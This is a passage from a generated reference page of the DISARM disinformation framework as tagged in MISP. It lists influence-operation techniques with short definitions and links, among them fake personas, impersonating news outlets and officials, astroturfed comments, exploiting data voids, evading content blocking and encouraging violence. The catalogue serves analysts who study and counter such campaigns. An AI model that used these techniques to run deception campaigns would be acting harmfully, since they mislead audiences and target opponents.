The tag is: *misp-galaxy:disarm-techniques="Create Content Farms"*

Table 1403. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0096.001.md

Outsource Content Creation to External Organisations

An influence operation may outsource content creation to external companies to avoid attribution, increase the rate of content creation, or improve content quality, i.e., by employing an organisation that can create content in the target audience's native language. Employed organisations may include marketing companies for tailored advertisements or external content farms for high volumes of targeted media.

The tag is: *misp-galaxy:disarm-techniques="Outsource Content Creation to External Organisations"*

Table 1404. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0096.002.md

Create Personas

Creating fake people, often with accounts across multiple platforms. These personas can be as simple as a name, can contain slightly more background like location, profile pictures, backstory, or can be effectively backstopped with indicators like fake identity documents.

The tag is: *misp-galaxy:disarm-techniques="Create Personas"*

Table 1405. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0097.md

Produce Evidence for Persona

People may produce evidence which supports the persona they are deploying (T0097) (aka “backstopping” the persona).

This Technique covers situations where evidence is developed or produced as part of an influence operation to increase the perceived legitimacy of a persona used during IO, including creating accounts for the same persona on multiple platforms.

The use of personas (T0097), and providing evidence to improve people’s perception of one’s persona (T0097.001), are not necessarily malicious or inauthentic. However, sometimes people use personas to increase the perceived legitimacy of narratives for malicious purposes.

This Technique was previously called Backstop Personas.

The tag is: *misp-galaxy:disarm-techniques="Produce Evidence for Persona"*

Table 1406. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0097.001.md

Establish Inauthentic News Sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their owenership, reporting history and adverstising details.

The tag is: *misp-galaxy:disarm-techniques="Establish Inauthentic News Sites"*

Table 1407. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0098.md

Create Inauthentic News Sites

Create Inauthentic News Sites

The tag is: *misp-galaxy:disarm-techniques="Create Inauthentic News Sites"*

Table 1408. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0098.001.md

Leverage Existing Inauthentic News Sites

Leverage Existing Inauthentic News Sites

The tag is: *misp-galaxy:disarm-techniques="Leverage Existing Inauthentic News Sites"*

Table 1409. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0098.002.md

Impersonate Existing Entity

An influence operation may prepare assets impersonating existing entities (both organisations and people) to further conceal its network identity and add a layer of legitimacy to its operation content. Existing entities may include authentic news outlets, public figures, organisations, or state entities.

Users will more likely believe and less likely fact-check news from recognisable sources rather than unknown sites.

An influence operation may use a wide variety of cyber techniques to impersonate a legitimate entity's website or social media account.

This Technique was previously called Prepare Assets Impersonating Legitimate Entities.

The tag is: *misp-galaxy:disarm-techniques="Impersonate Existing Entity"*

Table 1410. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0099.md

Spoof/Parody Account/Site

An influence operation may prepare assets impersonating legitimate entities to further conceal its network identity and add a layer of legitimacy to its operation content. Users will more likely believe and less likely fact-check news from recognisable sources rather than unknown sites. Legitimate entities may include authentic news outlets, public figures, organisations, or state entities.

The tag is: *misp-galaxy:disarm-techniques="Spoof/Parody Account/Site"*

Table 1411. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0099.002.md

Impersonate Existing Organisation

A situation where a threat actor styles their online assets or content to mimic an existing organisation.

This can be done to take advantage of peoples' trust in the organisation to increase narrative believability, to smear the organisation, or to make the organisation less trustworthy.

The tag is: *misp-galaxy:disarm-techniques="Impersonate Existing Organisation"*

Table 1412. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0099.003.md

Impersonate Existing Media Outlet

A situation where a threat actor styles their online assets or content to mimic an existing media outlet.

This can be done to take advantage of peoples' trust in the outlet to increase narrative believability, to smear the outlet, or to make the outlet less trustworthy.

The tag is: *misp-galaxy:disarm-techniques="Impersonate Existing Media Outlet"*

Table 1413. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0099.004.md

Impersonate Existing Official

A situation where a threat actor styles their online assets or content to impersonate an official (including government officials, organisation officials, etc).

The tag is: *misp-galaxy:disarm-techniques="Impersonate Existing Official"*

Table 1414. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0099.005.md

Impersonate Existing Influencer

A situation where a threat actor styles their online assets or content to impersonate an influencer or celebrity, typically to exploit users' existing faith in the impersonated target.

The tag is: *misp-galaxy:disarm-techniques="Impersonate Existing Influencer"*

Table 1415. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0099.006.md

Co-Opt Trusted Sources

An influence operation may co-opt trusted sources by infiltrating or repurposing a source to reach a target audience through existing, previously reliable networks. Co-opted trusted sources may include: - National or local new outlets - Research or academic publications - Online blogs or websites

The tag is: *misp-galaxy:disarm-techniques="Co-Opt Trusted Sources"*

Table 1416. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0100.md

Co-Opt Trusted Individuals

Co-Opt Trusted Individuals

The tag is: *misp-galaxy:disarm-techniques="Co-Opt Trusted Individuals"*

Table 1417. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0100.001.md

Co-Opt Grassroots Groups

Co-Opt Grassroots Groups

The tag is: *misp-galaxy:disarm-techniques="Co-Opt Grassroots Groups"*

Table 1418. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0100.002.md

Co-Opt Influencers

Co-opt Influencers

The tag is: *misp-galaxy:disarm-techniques="Co-Opt Influencers"*

Table 1419. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0100.003.md

Create Localised Content

Localised content refers to content that appeals to a specific community of individuals, often in defined geographic areas. An operation may create localised content using local language and dialects to resonate with its target audience and blend in with other local news and social media. Localised content may help an operation increase legitimacy, avoid detection, and complicate external attribution.

The tag is: *misp-galaxy:disarm-techniques="Create Localised Content"*

Table 1420. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0101.md

Leverage Echo Chambers/Filter Bubbles

An echo chamber refers to an internet subgroup, often along ideological lines, where individuals only engage with “others with which they are already in agreement.” A filter bubble refers to an algorithm’s placement of an individual in content that they agree with or regularly engage with, possibly entrapping the user into a bubble of their own making. An operation may create these isolated areas of the internet by match existing groups, or aggregating individuals into a single target audience based on shared interests, politics, values, demographics, and other characteristics. Echo chambers and filter bubbles help to reinforce similar biases and content to the same target audience members.

The tag is: *misp-galaxy:disarm-techniques="Leverage Echo Chambers/Filter Bubbles"*

Table 1421. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0102.md

Use Existing Echo Chambers/Filter Bubbles

Use existing Echo Chambers/Filter Bubbles

The tag is: *misp-galaxy:disarm-techniques="Use Existing Echo Chambers/Filter Bubbles"*

Table 1422. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0102.001.md

Create Echo Chambers/Filter Bubbles

Create Echo Chambers/Filter Bubbles

The tag is: *misp-galaxy:disarm-techniques="Create Echo Chambers/Filter Bubbles"*

Table 1423. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0102.002.md

Exploit Data Voids

A data void refers to a word or phrase that results in little, manipulative, or low-quality search engine data. Data voids are hard to detect and relatively harmless until exploited by an entity aiming to quickly proliferate false or misleading information during a phenomenon that causes a high number of individuals to query the term or phrase. In the Plan phase, an influence operation may identify data voids for later exploitation in the operation. A 2019 report by Michael Golebiewski identifies five types of data voids. (1) “Breaking news” data voids occur when a keyword gains popularity during a short period of time, allowing an influence operation to publish false content before legitimate news outlets have an opportunity to publish relevant information. (2) An influence operation may create a “strategic new terms” data void by creating their own terms and publishing information online before promoting their keyword to the target audience. (3) An influence operation may publish content on “outdated terms” that have decreased in popularity, capitalising on most search engines’ preferences for recency. (4) “Fragmented concepts” data voids separate connections between similar ideas, isolating segment queries to distinct search engine results. (5) An influence operation may use “problematic queries” that previously resulted in disturbing or inappropriate content to promote messaging until mainstream media recontextualizes the term.

The tag is: *misp-galaxy:disarm-techniques="Exploit Data Voids"*

Table 1424. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0102.003.md

Livestream

A livestream refers to an online broadcast capability that allows for real-time communication to closed or open networks.

The tag is: *misp-galaxy:disarm-techniques="Livestream"*

Table 1425. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0103.md

Video Livestream

A video livestream refers to an online video broadcast capability that allows for real-time communication to closed or open networks.

The tag is: *misp-galaxy:disarm-techniques="Video Livestream"*

Table 1426. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0103.001.md

Audio Livestream

An audio livestream refers to an online audio broadcast capability that allows for real-time communication to closed or open networks.

The tag is: *misp-galaxy:disarm-techniques="Audio Livestream"*

Table 1427. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0103.002.md

Social Networks

Social media are interactive digital channels that facilitate the creation and sharing of information, ideas, interests, and other forms of expression through virtual communities and networks.

The tag is: *misp-galaxy:disarm-techniques="Social Networks"*

Table 1428. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0104.md

Mainstream Social Networks

Examples include Facebook, Twitter, LinkedIn, etc.

The tag is: *misp-galaxy:disarm-techniques="Mainstream Social Networks"*

Table 1429. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0104.001.md

Dating App

“Dating App” refers to any platform (or platform feature) in which the ostensive purpose is for users to develop a physical/romantic relationship with other users.

Threat Actors can exploit users’ quest for love to trick them into doing things like revealing sensitive information or giving them money.

Examples include Tinder, Bumble, Grindr, Facebook Dating, Tantan, Badoo, Plenty of Fish, hinge, LOVOO, OkCupid, happn, and Mamba.

The tag is: *misp-galaxy:disarm-techniques="Dating App"*

Table 1430. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0104.002.md

Private/Closed Social Networks

Social networks that are not open to people outside of family, friends, neighbours, or co-workers. Non-work-related examples include Couple, FamilyWall, 23snaps, and Nextdoor. Some of the larger

social network platforms enable closed communities: examples are Instagram Close Friends and Twitter (X) Circle. Work-related examples of private social networks include LinkedIn, Facebook Workplace, and enterprise communication platforms such as Slack or Microsoft Teams.

The tag is: *misp-galaxy:disarm-techniques="Private/Closed Social Networks"*

Table 1431. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0104.003.md

Interest-Based Networks

Examples include smaller and niche networks including Gettr, Truth Social, Parler, etc.

The tag is: *misp-galaxy:disarm-techniques="Interest-Based Networks"*

Table 1432. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0104.004.md

Use Hashtags

Use a dedicated, existing hashtag for the campaign/incident.

The tag is: *misp-galaxy:disarm-techniques="Use Hashtags"*

Table 1433. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0104.005.md

Create Dedicated Hashtag

Create a campaign/incident specific hashtag.

The tag is: *misp-galaxy:disarm-techniques="Create Dedicated Hashtag"*

Table 1434. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0104.006.md

Media Sharing Networks

Media sharing networks refer to services whose primary function is the hosting and sharing of specific forms of media. Examples include Instagram, Snapchat, TikTok, Youtube, SoundCloud.

The tag is: *misp-galaxy:disarm-techniques="Media Sharing Networks"*

Table 1435. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0105.md

Photo Sharing

Examples include Instagram, Snapchat, Flickr, etc

The tag is: *misp-galaxy:disarm-techniques="Photo Sharing"*

Table 1436. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0105.001.md

Video Sharing

Examples include Youtube, TikTok, ShareChat, Rumble, etc

The tag is: *misp-galaxy:disarm-techniques="Video Sharing"*

Table 1437. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0105.002.md

Audio Sharing

Examples include podcasting apps, Soundcloud, etc.

The tag is: *misp-galaxy:disarm-techniques="Audio Sharing"*

Table 1438. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0105.003.md

Discussion Forums

Platforms for finding, discussing, and sharing information and opinions. Examples include Reddit, Quora, Digg, message boards, interest-based discussion forums, etc.

The tag is: *misp-galaxy:disarm-techniques="Discussion Forums"*

Table 1439. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0106.md

Anonymous Message Boards

Examples include the Chans

The tag is: *misp-galaxy:disarm-techniques="Anonymous Message Boards"*

Table 1440. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0106.001.md

Bookmarking and Content Curation

Platforms for searching, sharing, and curating content and media. Examples include Pinterest, Flipboard, etc.

The tag is: *misp-galaxy:disarm-techniques="Bookmarking and Content Curation"*

Table 1441. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0107.md

Blogging and Publishing Networks

Examples include WordPress, Blogger, Weebly, Tumblr, Medium, etc.

The tag is: *misp-galaxy:disarm-techniques="Blogging and Publishing Networks"*

Table 1442. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0108.md

Consumer Review Networks

Platforms for finding, reviewing, and sharing information about brands, products, services, restaurants, travel destinations, etc. Examples include Yelp, TripAdvisor, etc.

The tag is: *misp-galaxy:disarm-techniques="Consumer Review Networks"*

Table 1443. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0109.md

Formal Diplomatic Channels

Leveraging formal, traditional, diplomatic channels to communicate with foreign governments (written documents, meetings, summits, diplomatic visits, etc). This type of diplomacy is conducted by diplomats of one nation with diplomats and other officials of another nation or international organisation.

The tag is: *misp-galaxy:disarm-techniques="Formal Diplomatic Channels"*

Table 1444. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0110.md

Traditional Media

Examples include TV, Newspaper, Radio, etc.

The tag is: *misp-galaxy:disarm-techniques="Traditional Media"*

Table 1445. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0111.md

TV

TV

The tag is: *misp-galaxy:disarm-techniques="TV"*

Table 1446. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0111.001.md

Newspaper

Newspaper

The tag is: *misp-galaxy:disarm-techniques="Newspaper"*

Table 1447. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0111.002.md

Radio

Radio

The tag is: *misp-galaxy:disarm-techniques="Radio"*

Table 1448. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0111.003.md

Email

Delivering content and narratives via email. This can include using list management or high-value individually targeted messaging.

The tag is: *misp-galaxy:disarm-techniques="Email"*

Table 1449. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0112.md

Employ Commercial Analytic Firms

Commercial analytic firms collect data on target audience activities and evaluate the data to detect trends, such as content receiving high click-rates. An influence operation may employ commercial analytic firms to facilitate external collection on its target audience, complicating attribution efforts

and better tailoring the content to audience preferences.

The tag is: *misp-galaxy:disarm-techniques="Employ Commercial Analytic Firms"*

Table 1450. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0113.md

Deliver Ads

Delivering content via any form of paid media or advertising.

The tag is: *misp-galaxy:disarm-techniques="Deliver Ads"*

Table 1451. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0114.md

Social Media

Social Media

The tag is: *misp-galaxy:disarm-techniques="Social Media"*

Table 1452. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0114.001.md

Post Content

Delivering content by posting via owned media (assets that the operator controls).

The tag is: *misp-galaxy:disarm-techniques="Post Content"*

Table 1453. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0115.md

Share Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: *misp-galaxy:disarm-techniques="Share Memes"*

Table 1454. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0115.001.md

Post Violative Content to Provoke Takedown and Backlash

Post Violative Content to Provoke Takedown and Backlash.

The tag is: *misp-galaxy:disarm-techniques="Post Violative Content to Provoke Takedown and Backlash"*

Table 1455. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0115.002.md

One-Way Direct Posting

Direct posting refers to a method of posting content via a one-way messaging service, where the recipient cannot directly respond to the poster’s messaging. An influence operation may post directly to promote operation narratives to the target audience without allowing opportunities for fact-checking or disagreement, creating a false sense of support for the narrative.

The tag is: *misp-galaxy:disarm-techniques="One-Way Direct Posting"*

Table 1456. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0115.003.md

Comment or Reply on Content

Delivering content by replying or commenting via owned media (assets that the operator controls).

The tag is: *misp-galaxy:disarm-techniques="Comment or Reply on Content"*

Table 1457. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0116.md

Post Inauthentic Social Media Comment

Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums.

The tag is: *misp-galaxy:disarm-techniques="Post Inauthentic Social Media Comment"*

Table 1458. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0116.001.md

Attract Traditional Media

Deliver content by attracting the attention of traditional media (earned media).

The tag is: *misp-galaxy:disarm-techniques="Attract Traditional Media"*

Table 1459. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0117.md

Amplify Existing Narrative

An influence operation may amplify existing narratives that align with its narratives to support operation objectives.

The tag is: *misp-galaxy:disarm-techniques="Amplify Existing Narrative"*

Table 1460. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0118.md

Cross-Posting

Cross-posting refers to posting the same message to multiple internet discussions, social media platforms or accounts, or news groups at one time. An influence operation may post content online in multiple communities and platforms to increase the chances of content exposure to the target audience.

The tag is: *misp-galaxy:disarm-techniques="Cross-Posting"*

Table 1461. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0119.md

Post across Groups

An influence operation may post content across groups to spread narratives and content to new communities within the target audiences or to new target audiences.

The tag is: *misp-galaxy:disarm-techniques="Post across Groups"*

Table 1462. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0119.001.md

Post across Platform

An influence operation may post content across platforms to spread narratives and content to new communities within the target audiences or to new target audiences. Posting across platforms can also remove opposition and context, helping the narrative spread with less opposition on the cross-posted platform.

The tag is: *misp-galaxy:disarm-techniques="Post across Platform"*

Table 1463. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0119.002.md

Post across Disciplines

Post Across Disciplines

The tag is: *misp-galaxy:disarm-techniques="Post across Disciplines"*

Table 1464. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0119.003.md

Incentivize Sharing

Incentivizing content sharing refers to actions that encourage users to share content themselves, reducing the need for the operation itself to post and promote its own content.

The tag is: *misp-galaxy:disarm-techniques="Incentivize Sharing"*

Table 1465. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0120.md

Use Affiliate Marketing Programmes

Use Affiliate Marketing Programmes

The tag is: *misp-galaxy:disarm-techniques="Use Affiliate Marketing Programmes"*

Table 1466. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0120.001.md

Use Contests and Prizes

Use Contests and Prizes

The tag is: *misp-galaxy:disarm-techniques="Use Contests and Prizes"*

Table 1467. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0120.002.md

Manipulate Platform Algorithm

Manipulating a platform algorithm refers to conducting activity on a platform in a way that intentionally targets its underlying algorithm. After analysing a platform's algorithm (see: Select Platforms), an influence operation may use a platform in a way that increases its content exposure, avoids content removal, or otherwise benefits the operation's strategy. For example, an influence operation may use bots to amplify its posts so that the platform's algorithm recognises engagement with operation content and further promotes the content on user timelines.

The tag is: *misp-galaxy:disarm-techniques="Manipulate Platform Algorithm"*

Table 1468. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0121.md

Bypass Content Blocking

Bypassing content blocking refers to actions taken to circumvent network security measures that prevent users from accessing certain servers, resources, or other online spheres. An influence operation may bypass content blocking to proliferate its content on restricted areas of the internet. Common strategies for bypassing content blocking include: - Altering IP addresses to avoid IP filtering - Using a Virtual Private Network (VPN) to avoid IP filtering - Using a Content Delivery Network (CDN) to avoid IP filtering - Enabling encryption to bypass packet inspection blocking - Manipulating text to avoid filtering by keywords - Posting content on multiple platforms to avoid platform-specific removals - Using local facilities or modified DNS servers to avoid DNS filtering

The tag is: *misp-galaxy:disarm-techniques="Bypass Content Blocking"*

Table 1469. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0121.001.md

Direct Users to Alternative Platforms

Direct users to alternative platforms refers to encouraging users to move from the platform on which they initially viewed operation content and engage with content on alternate information channels, including separate social media channels and inauthentic websites. An operation may drive users to alternative platforms to diversify its information channels and ensure the target audience knows where to access operation content if the initial platform suspends, flags, or otherwise removes original operation assets and content.

The tag is: *misp-galaxy:disarm-techniques="Direct Users to Alternative Platforms"*

Table 1470. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0122.md

Control Information Environment through Offensive Cyberspace Operations

Controlling the information environment through offensive cyberspace operations uses cyber tools and techniques to alter the trajectory of content in the information space to either prioritise operation messaging or block opposition messaging.

The tag is: *misp-galaxy:disarm-techniques="Control Information Environment through Offensive Cyberspace Operations"*

Table 1471. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0123.md

Delete Opposing Content

Deleting opposing content refers to the removal of content that conflicts with operational narratives from selected platforms. An influence operation may delete opposing content to censor contradictory information from the target audience, allowing operation narratives to take priority in the information space.

The tag is: *misp-galaxy:disarm-techniques="Delete Opposing Content"*

Table 1472. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0123.001.md

Block Content

Content blocking refers to actions taken to restrict internet access or render certain areas of the internet inaccessible. An influence operation may restrict content based on both network and content attributes.

The tag is: *misp-galaxy:disarm-techniques="Block Content"*

Table 1473. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0123.002.md

Destroy Information Generation Capabilities

Destroying information generation capabilities refers to actions taken to limit, degrade, or otherwise incapacitate an actor's ability to generate conflicting information. An influence operation may destroy an actor's information generation capabilities by physically dismantling the information infrastructure, disconnecting resources needed for information generation, or redirecting information generation personnel. An operation may destroy an adversary's information generation capabilities to limit conflicting content exposure to the target audience and crowd the information space with its own narratives.

The tag is: *misp-galaxy:disarm-techniques="Destroy Information Generation Capabilities"*

Table 1474. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0123.003.md

Conduct Server Redirect

A server redirect, also known as a URL redirect, occurs when a server automatically forwards a user from one URL to another using server-side or client-side scripting languages. An influence operation may conduct a server redirect to divert target audience members from one website to another without their knowledge. The redirected website may pose as a legitimate source, host malware, or otherwise aid operation objectives.

The tag is: *misp-galaxy:disarm-techniques="Conduct Server Redirect"*

Table 1475. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0123.004.md

Suppress Opposition

Operators can suppress the opposition by exploiting platform content moderation tools and processes like reporting non-violative content to platforms for takedown and goading opposition actors into taking actions that result in platform action or target audience disapproval.

The tag is: *misp-galaxy:disarm-techniques="Suppress Opposition"*

Table 1476. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0124.md

Report Non-Violative Opposing Content

Reporting opposing content refers to notifying and providing an instance of a violation of a platform's guidelines and policies for conduct on the platform. In addition to simply reporting the content, an operation may leverage copyright regulations to trick social media and web platforms into removing opposing content by manipulating the content to appear in violation of copyright laws. Reporting opposing content facilitates the suppression of contradictory information and allows operation narratives to take priority in the information space.

The tag is: *misp-galaxy:disarm-techniques="Report Non-Violative Opposing Content"*

Table 1477. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0124.001.md

Goad People into Harmful Action (Stop Hitting Yourself)

Goad people into actions that violate terms of service or will lead to having their content or accounts taken down.

The tag is: *misp-galaxy:disarm-techniques="Goad People into Harmful Action (Stop Hitting Yourself)"*

Table 1478. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0124.002.md

Exploit Platform TOS/Content Moderation

Exploit Platform TOS/Content Moderation

The tag is: *misp-galaxy:disarm-techniques="Exploit Platform TOS/Content Moderation"*

Table 1479. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0124.003.md

Platform Filtering

Platform filtering refers to the decontextualization of information as claims cross platforms (from Joan Donovan https://www.hks.harvard.edu/publications/disinformation-design-use-evidence-collages-and-platform-filtering-media-manipulation)

The tag is: *misp-galaxy:disarm-techniques="Platform Filtering"*

Table 1480. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0125.md

Encourage Attendance at Events

Operation encourages attendance at existing real world event.

The tag is: *misp-galaxy:disarm-techniques="Encourage Attendance at Events"*

Table 1481. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0126.md

Call to Action to Attend

Call to action to attend an event

The tag is: *misp-galaxy:disarm-techniques="Call to Action to Attend"*

Table 1482. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0126.001.md

Facilitate Logistics or Support for Attendance

Facilitate logistics or support for travel, food, housing, etc.

The tag is: *misp-galaxy:disarm-techniques="Facilitate Logistics or Support for Attendance"*

Table 1483. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0126.002.md

Physical Violence

Physical violence refers to the use of force to injure, abuse, damage, or destroy. An influence operation may conduct or encourage physical violence to discourage opponents from promoting conflicting content or draw attention to operation narratives using shock value.

The tag is: *misp-galaxy:disarm-techniques="Physical Violence"*

Table 1484. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0127.md

Conduct Physical Violence

An influence operation may directly Conduct Physical Violence to achieve campaign goals.

The tag is: *misp-galaxy:disarm-techniques="Conduct Physical Violence"*

Table 1485. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0127.001.md

Encourage Physical Violence

An influence operation may Encourage others to engage in Physical Violence to achieve campaign goals.

The tag is: *misp-galaxy:disarm-techniques="Encourage Physical Violence"*

Table 1486. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0127.002.md

Conceal Information Assets

Conceal the identity or provenance of campaign information assets such as accounts, channels, pages etc. to avoid takedown and attribution.

The tag is: *misp-galaxy:disarm-techniques="Conceal Information Assets"*

Table 1487. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0128.md

Use Pseudonyms

An operation may use pseudonyms, or fake names, to mask the identity of operational accounts, channels, pages etc., publish anonymous content, or otherwise use falsified personas to conceal the identity of the operation. An operation may coordinate pseudonyms across multiple platforms, for example, by writing an article under a pseudonym and then posting a link to the article on social media on an account, channel, or page with the same falsified name.

The tag is: *misp-galaxy:disarm-techniques="Use Pseudonyms"*

Table 1488. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0128.001.md

Conceal Network Identity

Concealing network identity aims to hide the existence an influence operation's network completely. Unlike concealing sponsorship, concealing network identity denies the existence of any sort of organisation.

The tag is: *misp-galaxy:disarm-techniques="Conceal Network Identity"*

Table 1489. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0128.002.md

Distance Reputable Individuals from Operation

